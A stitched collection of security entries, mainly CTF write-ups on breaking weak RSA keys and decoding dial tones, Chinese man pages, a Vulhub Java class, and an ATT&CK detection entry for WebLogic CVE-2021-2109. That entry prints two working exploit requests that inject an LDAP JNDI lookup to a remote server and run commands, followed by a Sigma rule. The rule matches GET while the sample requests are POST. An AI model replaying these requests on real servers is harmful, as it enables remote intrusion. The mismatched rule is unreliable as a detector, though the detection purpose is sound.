'1-e0c113fa1ebea9318dd413bf28308707fd660a5d1417fbc7da72416c8baaa5bf628f11c660dcee518134353e6ff8d37c', '1-1b8b6c4e3145a96b1b0031f63521c8df58713c4d6d737039b0f1c0750e16e1579340cfc5dadef4e96d6b95ecf89f52b8136ae657c9c32e96bf4384e18bd8190546ff5102cd006be5e1580053', '1-c332b8b93a914532a2dab045ea52b86d4d3950a990b5fc5e041dce9be1fd3912f9978cad009320e18f4383ca71d9d79114c9816b5f950305a6dd19c9f458695d52', '3-17e568ddc3ed3e6fe330ca47a2b27a2707edd0e0839df59fe9114fe6c08c6fc1ac1c3c8d9ab3cf7860dac103dff464d4c215e197b54f0cb46993912c3d0220a3eb1b80adf33ee2cc59b0372c', '3-b69efb4f9c5205175a4c9afb9d3c7bef728d9fb6c9cc1241411b31d4bd18744660391a330cefa8a86af8d2b80c881cfa', '3-572e70c5acfbe8b4c2cbd47217477d217da88c256ff2586af6a18391972c258bbea6143e7cd2ff6d39393efeb64d51d9318a2c337e50e2d764a42173bc3a1d5c7c8f24b64043daf5d2a8e9f4', '3-e9e6850880eb0a44d36fe9f2e5a458c6da3977b7fcd285afa27e9bfc116b1408570991504116b81864b03a7060bfd5d3fb6e007bb346f276d749befd545d1489c4', '4-4a87367d053c533fd995032ed1e651487cb5dc1e0b1cb70a7662b152c73650f039a60f391a52f2413f43bd54eb7b12c41b42f31ac557edd4bfe46a396a8cdbe19dc9d8121924f43be51c976d', '4-abbbcee71f140198ff8c50f51069465075979c31d32b052e7ae82ec7f6783aef7b41a597f9504d3340967b8d70cbe5a3', '4-35fbbe40058e20463547b363d1f164c0bbbb97cfd9ffe7619bce31a59392f0e9625a2cd035276e09c4df3c0932f22bd322f16e375c7c7fd88da0f972832707eb549ff1e776db37649019ebce', '4-12b466934911986bda845d8d26710a12250d210546f46716c78d7a17b1f2c893b95b934c8c7beafcf81a3123eb2ea05ca89101b23349e455794a8d56608c8ee49dd', '5-7d29041c468b680fcff93c16011a2869f17de75b929b787503b412becde0321ec72fe1e499f2150a1dacb9a5f701c0b37470049dd560cef5163543469817971f50782f763f0b05ab7088f7ae', '5-a7a1e271cf263279cece532b540545fa539b0f3650e2929163b02ee5459debdc53c1e07149eb2153015bb5c88e6270e8', '5-149480c5c75cbe320564adfa432ac8ea241e048ed39c8bc6be14ca80c392487f43a7882075d785d62cb314ea6c89a6b5f28adfa56ec481e124567b88241de2a6cabcc7ec9de3acac8be5375b', '5-7285289084282d559573f68eef10191091d76d6670014202670651f867cd2bc8640a86eef1c1e482affc7ae801fa446956c2186972fb6b7bac88c91d050c9d3cca' ] recover_flag(msgs[::4]) recover_flag(msgs[1::4]) recover_flag(msgs[2::4]) recover_flag(msgs[3::4]) recover_flag(msgs[4::4]) ``` And from this code we get: ``` And another one's down, and another one's down, and another one bites the dust! Three's the magic number! FLAG{ndQzjRpnSP60NgWET6jX} Pssst--- can you keep a secret? If you get all five plaintexts, there's another flag :) 1./2J6|M{g!;L oJx''`z.uOzEM )g1'-:t Ux%<HE7jWoi 9#q_ZUq_:+u9 ]]y/*|5ch>Ee!mGj*M And another one's down, and another one's down, and another one bites the dust! ``` So sadly only 4 out of 5 plaintexts and only one flag `FLAG{ndQzjRpnSP60NgWET6jX}` ###PL version W zadaniu dostajemy 10 4096 bitowych kluczy publicznych RSA oraz 5 szyfrogramów przetworzonych dodatkowo przez specjalną bibliotekę `secretsharing`. Celem jest złamanie kluczy publicznych i odzyskanie wiadomości. Niestety udało nam się złamać tylko 5 kluczy i odszyfrować 4 teksty, więc zdobyliśmy tylko jedną flagę (były dwie). Pierwszy złamany klucz był najbardziej oczywisty: ``` e = 228667357288918039245378693853585657521675864952652022596906774862933762099300789254749604425410946822615083373857144528433260602296227303503891476899519658402024054958055003935382417495158976039669297102085384069060239103495133686397751308534862740272246002793830176686556622100583797028989159199545629609021240950860918369384255679720982737996963877876422696229673990362117541638946439467137750365479594663480748942805548680674029992842755607231111749435902398183446860414264511210472086370327093252168733191324465379223167108867795127182838092986436559312004954839317032041477453391803727162991479936070518984824373880381139279500094875244634092093215146125326800209962084766610206048422344237134106891516381979347888453395909395872511361844386280383251556028219600028715738105327585286564058975370316649206938752448895524147428799966328319661372247669163998623995646371176483786757036960204837994662752770358964913870689131473714797550537422931003343433377469029232185552979648755665051117443571002017829146470221483652014417043043920340602378994630507647460734411326405049128160906832664174206633659153486878241903912874200129515570971220983561054906106575556061388168231915057339795246395626504771079756241685975773086049021119L n = 625370676793301609007636145380331611237919351425496690404114180302249419719867435237342547950459491394834137179033102621573611784738388518952362848787237787440594300323769334356435131992521522997795029079251912507591819194229112877831181987001350385569134107880067429777572352378951587000987749447829255561035861423897841083194636994924140527822677164175006590642236546332030533920247393734145161727026178314748349757632676858997648848951518713836001935694487214337663667186794458714595706552931844195313593265852623091839910783970211228963728395962479544383117833611165858148867888664339695901377282163112482988096747232893295750676690941568494463290730116247822838421828649339437010788165430710512903632914670529270528098439859718986580569781164710102583602429563649626238817198851752150256839194761250249327990903746851390967504209752042479527523791824857674302720147951681393130861129469956962513163744166621211214770096232423058352324863327706013479610785632814580681502127018494520155709115651059545236646813027941576086510607434365502848385373510684649855795155224752033959337914546058251330474025320961186763814554194220596151399428277009154211720727770696506865214610059620204055226083684833160528072571967096188932684068843L ``` Przy tak dużym `e` jasnym było, ze można użyć ataku Wienera: ```sage c_fracs = continued_fraction(e/n).convergents() test_message = 42 test_message_encrypted = pow(test_message,e,n) d = 0 for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() break print(d) ``` Kolejny klucz dostajemy bezpośrednio z factordb: http://factordb.com/index.php?query=549100898763808112064590568096509639806005267015788479836998648112330729762142760306265813195181231930171220686827142359040315653020182064933039077953579528749272321744478656324986362155106653831095037724728643255316641716947998245610175805278242802144980117927688674393383290354985820646326870614197414534217177211618710501438340081867982883181358830449072661742417246835970022211465130756382481343160426921258769780282358703413114522476037306476452786236456339806564839822630841425055758411765631749632457527073092742671445828538125416154242015006557099276782924659662805070769995499831691512789480191593818008294274869515824359702140052678892212293539574359134092465336347101950176544334845468112561615253963771393076343090247719105323352711194948081670662350809687853687199699436636944300210595489981211181100443706510898137733979941302306471697516217631493070094434891637922047009630278889176140288479340611479190580909389486067761958499091506601085734094801729179308537628951345012578144960250844126260353636619225347430788141190654302935255862518781845236444151680147886477815759103864509989480675169631226254252762579781553994364555800120817100328166428687776427164098803076677481602221304265962340500651339469391627432175447 Co od razu daje nam `p` oraz `q`. Kolejne dwa klucze zostają złamane ponieważ współdzielą czynnik pierwszy i można go odzyskać wylicząc gcd dla każdej pary modulusów. ```python for n1 in moduli: for n2 in moduli: p = gcd(n1,n2) if n1!=n2 and p!=1: print(n1,n2,p) ``` Ostatni klucz padł przez faktoryzacje Fermata - liczby `p` oraz `q` były bardzo blisko `sqrt(n)`. ```python def fermat_factors(n): assert n % 2 != 0 a = gmpy2.isqrt(n) b2 = gmpy2.square(a) - n while not gmpy2.is_square(b2): a += 1 b2 = gmpy2.square(a) - n factor1 = a + gmpy2.isqrt(b2) factor2 = a - gmpy2.isqrt(b2) print(n, factor1, factor2) return int(factor1), int(factor2) ``` Z tak odzyskanymi kluczami możemy zdekodować szyfrogramy: ```python def decrypt(private_key, ciphertext): """Decrypt a message with a given private key. Takes in a private_key generated by Crypto.PublicKey.RSA, which must be of size exactly 4096 If the ciphertext is invalid, return None """ if len(ciphertext) < 512 + 16: return None msg_header = ciphertext[:512] msg_iv = ciphertext[512:512 + 16] msg_body = ciphertext[512 + 16:] try: symmetric_key = PKCS1_OAEP.new(private_key).decrypt(msg_header) except ValueError as e: print(e) return None if len(symmetric_key) != 32: return None return AES.new(symmetric_key, mode=AES.MODE_CFB, IV=msg_iv).decrypt(msg_body) def get_d(n, p, e): from crypto_commons.rsa.rsa_commons import modinv, get_fi_distinct_primes phi = get_fi_distinct_primes([p, n / p]) return modinv(e, phi) def decode_i(d, e, n, i): private_key = RSA.construct((n, e, d)) with codecs.open("ct/ciphertext-" + str(i) + ".bin") as ct_file: data = ct_file.read() decrypted = decrypt(private_key, data) print(decrypted) ``` W ten sposób dostajemy listę danych dla `secretsharing`: ```python def recover_flag(msgs): print(PlaintextToHexSecretSharer.recover_secret(msgs)) def print_results(): msgs = [ '1-32a1cd9f414f14cff6685879444acbe41e5dba6574a072cace6e8d0eb338ad64910897369b7589e6a408c861c8e708f60fbbbe91953d4a73bcf1df11e1ecaa2885bed1e5a772bfed42d776a9', '1-e0c113fa1ebea9318dd413bf28308707fd660a5d1417fbc7da72416c8baaa5bf628f11c660dcee518134353e6ff8d37c', '1-1b8b6c4e3145a96b1b0031f63521c8df58713c4d6d737039b0f1c0750e16e1579340cfc5dadef4e96d6b95ecf89f52b8136ae657c9c32e96bf4384e18bd8190546ff5102cd006be5e1580053', '1-c332b8b93a914532a2dab045ea52b86d4d3950a990b5fc5e041dce9be1fd3912f9978cad009320e18f4383ca71d9d79114c9816b5f950305a6dd19c9f458695d52', '3-17e568ddc3ed3e6fe330ca47a2b27a2707edd0e0839df59fe9114fe6c08c6fc1ac1c3c8d9ab3cf7860dac103dff464d4c215e197b54f0cb46993912c3d0220a3eb1b80adf33ee2cc59b0372c', '3-b69efb4f9c5205175a4c9afb9d3c7bef728d9fb6c9cc1241411b31d4bd18744660391a330cefa8a86af8d2b80c881cfa', '3-572e70c5acfbe8b4c2cbd47217477d217da88c256ff2586af6a18391972c258bbea6143e7cd2ff6d39393efeb64d51d9318a2c337e50e2d764a42173bc3a1d5c7c8f24b64043daf5d2a8e9f4', '3-e9e6850880eb0a44d36fe9f2e5a458c6da3977b7fcd285afa27e9bfc116b1408570991504116b81864b03a7060bfd5d3fb6e007bb346f276d749befd545d1489c4', '4-4a87367d053c533fd995032ed1e651487cb5dc1e0b1cb70a7662b152c73650f039a60f391a52f2413f43bd54eb7b12c41b42f31ac557edd4bfe46a396a8cdbe19dc9d8121924f43be51c976d', '4-abbbcee71f140198ff8c50f51069465075979c31d32b052e7ae82ec7f6783aef7b41a597f9504d3340967b8d70cbe5a3', '4-35fbbe40058e20463547b363d1f164c0bbbb97cfd9ffe7619bce31a59392f0e9625a2cd035276e09c4df3c0932f22bd322f16e375c7c7fd88da0f972832707eb549ff1e776db37649019ebce', '4-12b466934911986bda845d8d26710a12250d210546f46716c78d7a17b1f2c893b95b934c8c7beafcf81a3123eb2ea05ca89101b23349e455794a8d56608c8ee49dd', '5-7d29041c468b680fcff93c16011a2869f17de75b929b787503b412becde0321ec72fe1e499f2150a1dacb9a5f701c0b37470049dd560cef5163543469817971f50782f763f0b05ab7088f7ae', '5-a7a1e271cf263279cece532b540545fa539b0f3650e2929163b02ee5459debdc53c1e07149eb2153015bb5c88e6270e8', '5-149480c5c75cbe320564adfa432ac8ea241e048ed39c8bc6be14ca80c392487f43a7882075d785d62cb314ea6c89a6b5f28adfa56ec481e124567b88241de2a6cabcc7ec9de3acac8be5375b', '5-7285289084282d559573f68eef10191091d76d6670014202670651f867cd2bc8640a86eef1c1e482affc7ae801fa446956c2186972fb6b7bac88c91d050c9d3cca' ] recover_flag(msgs[::4]) recover_flag(msgs[1::4]) recover_flag(msgs[2::4]) recover_flag(msgs[3::4]) recover_flag(msgs[4::4]) ``` A za pomocą tego kodu dostajemy: ``` And another one's down, and another one's down, and another one bites the dust! Three's the magic number! FLAG{ndQzjRpnSP60NgWET6jX} Pssst--- can you keep a secret? If you get all five plaintexts, there's another flag :) 1./2J6|M{g!;L oJx''`z.uOzEM )g1'-:t Ux%<HE7jWoi 9#q_ZUq_:+u9 ]]y/*|5ch>Ee!mGj*M And another one's down, and another one's down, and another one bites the dust! ``` Więc niestety tylko 4 z 5 tekstów i tylko jedna flaga `FLAG{ndQzjRpnSP60NgWET6jX}`
sec-knowleage
# 24. 反转链表 [NowCoder](https://www.nowcoder.com/practice/75e878df47f24fdc9dc3e400ec6058ca?tpId=13&tqId=11168&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 解题思路 ### 递归 ```java public ListNode ReverseList(ListNode head) { if (head == null || head.next == null) return head; ListNode next = head.next; head.next = null; ListNode newHead = ReverseList(next); next.next = head; return newHead; } ``` ### 迭代 使用头插法。 ```java public ListNode ReverseList(ListNode head) { ListNode newList = new ListNode(-1); while (head != null) { ListNode next = head.next; head.next = newList.next; newList.next = head; head = next; } return newList.next; } ```
sec-knowleage
package org.vulhub.action; import com.opensymphony.xwork2.ActionSupport; public class HelloWorldAction extends ActionSupport{ public String execute() { return SUCCESS; } }
sec-knowleage
.TH SMBSTATUS 1 "11 Nov 1999" "smbstatus 2.0.6" .PP .SH NAME smbstatus \- 报告当前 samba 的联接状态 .PP .SH 总览 .PP \fBsmbstatus\fP [-b] [-d] [-L] [-p] [-S] [-s configuration file] [-u username] .PP .SH 描述 .PP 此程序是 samba 套件的一部分。 .PP smbstatus 是个非常简单的程序,用于列示当前 samba 的联接状态。 .PP .SH 选项 .PP .IP .IP "\fB-b\fP" 指定只输出简短的内容。 .IP .IP "\fB-d\fP" 指定以详细方式输出内容。 .IP .IP "\fB-L\fP" 让 smbstatus 只列出 /var 目录中的被锁定项。 .IP .IP "\fB-p\fP" 用这个参数来列出 smbd 进程的列表然后退出。对脚本编程很有用。 .IP .IP "\fB-S\fP" 让 smbstatus 只列出共享资源项。 .IP .IP "\fB-s configuration file\fP" 用这个参数指定一个配置文件。 当然在编译时已做好了默认的配置文件。 文件中包含了服务需要的详细配置信息。 参见 smb.conf(5) 获得更多信息。 .IP .IP "\fB-u username\fP" 用这个参数来查看只与 username 用户对应的信息。 .PP .SH 版本 .PP 此手册页是针对 samba 套件版本 2.0 的。 .PP .SH 另见 .PP \fBsmb\&.conf (5)\fP, \fBsmbd (8)\fP .PP .SH 作者 .PP samba 软件和相关工具最初由 Andrew Tridgell samba-bugs@samba.org 创建。 samba 现在由开发组以类似开发 Linux 内核采用的开放源代码项目方式来发展。 .PP samba 手册页最初由 Karl Auer 撰写。它的源码已被转换成 YODL (另外一种极好的开放源代码软件,可以在 ftp://ftp.icce.rug.nl/pub/unix/ 处获得)格式并已由 Jeremy Allison 更新到 samba2.0 版本。 .PP 请参见 samba (7) 查找如何获得一份完整的维护者列表以及如何提交错误报告及 注解等等。 .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2001/02/28 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
## DTune (Misc, 70p) ###ENG [PL](#pl-version) We get an [audio file](Dtune.wav) with recording of someone typing a password. We recognized the sounds as phone dial tones, and therefore we used an Audacity plugin to recognize which buttons were pressed: `8 44 33 0 333 555 2 4 0 444 7777 0 7777 44 2 2 5 6 0 666 333 0 33 7 222 3 44 99 44 6 222 2 77 9` Initially we mistakingly merged the multiplied button presses and we thought we need to use T9 to recognize words. Only later we figured that it was plain old keyboard typing, which translated to: `the flag is sha256 of EPCDHXHMCAQW` ###PL version Dostaliśmy [plik audio](Dtune.wav) z nagraniem wpisywania hasła. Rozpoznalismy dźwięki jako dźwięki wybierania tonowego na klawiaturze telefonicznej i wykorzystaliśmy plugin do Audacity, aby rozpoznać które klawisze wybrano: `8 44 33 0 333 555 2 4 0 444 7777 0 7777 44 2 2 5 6 0 666 333 0 33 7 222 3 44 99 44 6 222 2 77 9` Początkowo błędne skleiliśmy te same klawisze i próbowaliśmy dopasować słowa za pomocą T9. Dopiero później zorientowaliśmy się, że klawisze są wybierane w zwykły sposób i wpisany tekst tłumaczy się do: `the flag is sha256 of EPCDHXHMCAQW `
sec-knowleage
# T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个不同程度的漏洞,其中包括7个影响WebLogic的严重漏洞(CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756),未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8,利用复杂度低。建议用户尽快采取措施,对上述漏洞进行防护。 ### 0x1 影响版本 ```yml WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 ``` ### 0x2 漏洞详情 可参考: Weblogic LDAP 远程代码执行漏洞 CVE-2021-210:<https://blog.csdn.net/m0_46257936/article/details/112984836> 【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比:<https://www.cnblogs.com/huaflwr/p/14317388.html> ## 检测日志 HTTP.log,主要是基于POC报文进行检测,POC如下: ```yml POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1 Host: 192.168.122.9:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 cmd:whoami Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417 Connection: close 配合未授权访问后台 POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1 Host: 192.168.122.9:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 cmd:pwd Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417 Connection: close ``` ## 测试复现 可参考漏洞详情部分 ## 检测规则/思路 ### sigma规则 ```yml title: Oracle WebLogic CVE-2021-2109 HTTP协议远程代码执行漏洞检测 status: 测试状态 description: 基于HTTP日志进行检测 references: - https://blog.csdn.net/m0_46257936/article/details/112984836 - https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html logsource: category: webserver #日志源:webserver detection: selection: cs-method: 'GET' #请求方法为GET c-uri|contains|all: #请求url中包含以下任意内容 - 'com.bea.console.handles.JndiBindingHandle' - 'ldap://' - 'AdminServer' condition: selection fields: - c-ip - c-dns falsepositives: #误报情况 未知 - Unknown level: critical tags: - attack.t1190 - attack.initial_access - cve.2021-2109 ``` ### 建议 建议使用HTTP流量+安全设备(天眼)进行检测分析判断攻击是否成功。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109 <https://blog.csdn.net/m0_46257936/article/details/112984836> 【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比 <https://www.cnblogs.com/huaflwr/p/14317388.html> CVE-2021-2109 Weblogic Server远程代码执行 <https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html>
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: for.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: for.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH for 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME for \- ``For'' 循环 .SH "总览 SYNOPSIS" \fBfor \fIstart test next body\fR .BE .SH "描述 DESCRIPTION" .PP \fBFor\fR 是一个循环命令,在结构上类似与 C 语言的 \fBfor\fR语句。\fIstart\fR、\fInext\fR、和\fIbody\fR 参数必须是 Tcl 命令串,而 \fItest\fR 是一个表达式串。\fBfor\fR 命令首先调用 Tcl 解释器来执行 \fIstart\fR。接着它重复的把 \fItest\fR作为一个表达式来求值;如果结果是非零则它在 \fIbody \fR上调用 Tcl 解释器,接着在 \fInext \fR上调用 Tcl 解释器,接着重复这个循环。在 \fItest\fR 被求值为 0 的时候命令终止。如果\fIbody\fR 中调用了 \fBcontinue\fR 命令则在 \fIbody\fR 的当前执行中的所有剩余的命令都被跳过;处理继续,在 \fInext \fR上调用 Tcl 解释器,接着对 \fItest \fR求值。 等等. 如果在 \fIbody\fR 或 \fInext \fR中调用 \fBbreak\fR 命令,则 \fBfor\fR 命令将立即返回。\fBbreak\fR 和 \fBcontinue\fR 命令的操作类似于在 C 语言中相应的语句。\fBFor\fR 返回一个空串。 .PP 注意: \fItest\fR 应当总是在花括号中包围着。如果不是这样,在 \fBfor\fR 命令开始之前就作了变量替换,这意味着在循环体中做的变量变更在表达式中将不被考虑。将导致一个无限循环。如果 \fItest\fR 被包围在花括号中,变量替换将延迟,直到表达式求值(在每次循环重复之前),所以变量的变更将是可见的。例如,尝试在 \fB$x<10\fR 周围有和没有一对花括号的下列脚本: .CS for {set x 0} {$x<10} {incr x} { puts "x is $x" } .CE .SH "参见 SEE ALSO" break, continue, foreach, while .SH "关键字 KEYWORDS" for, iteration, looping .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/08/05 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1990-1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: optionMenu.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk 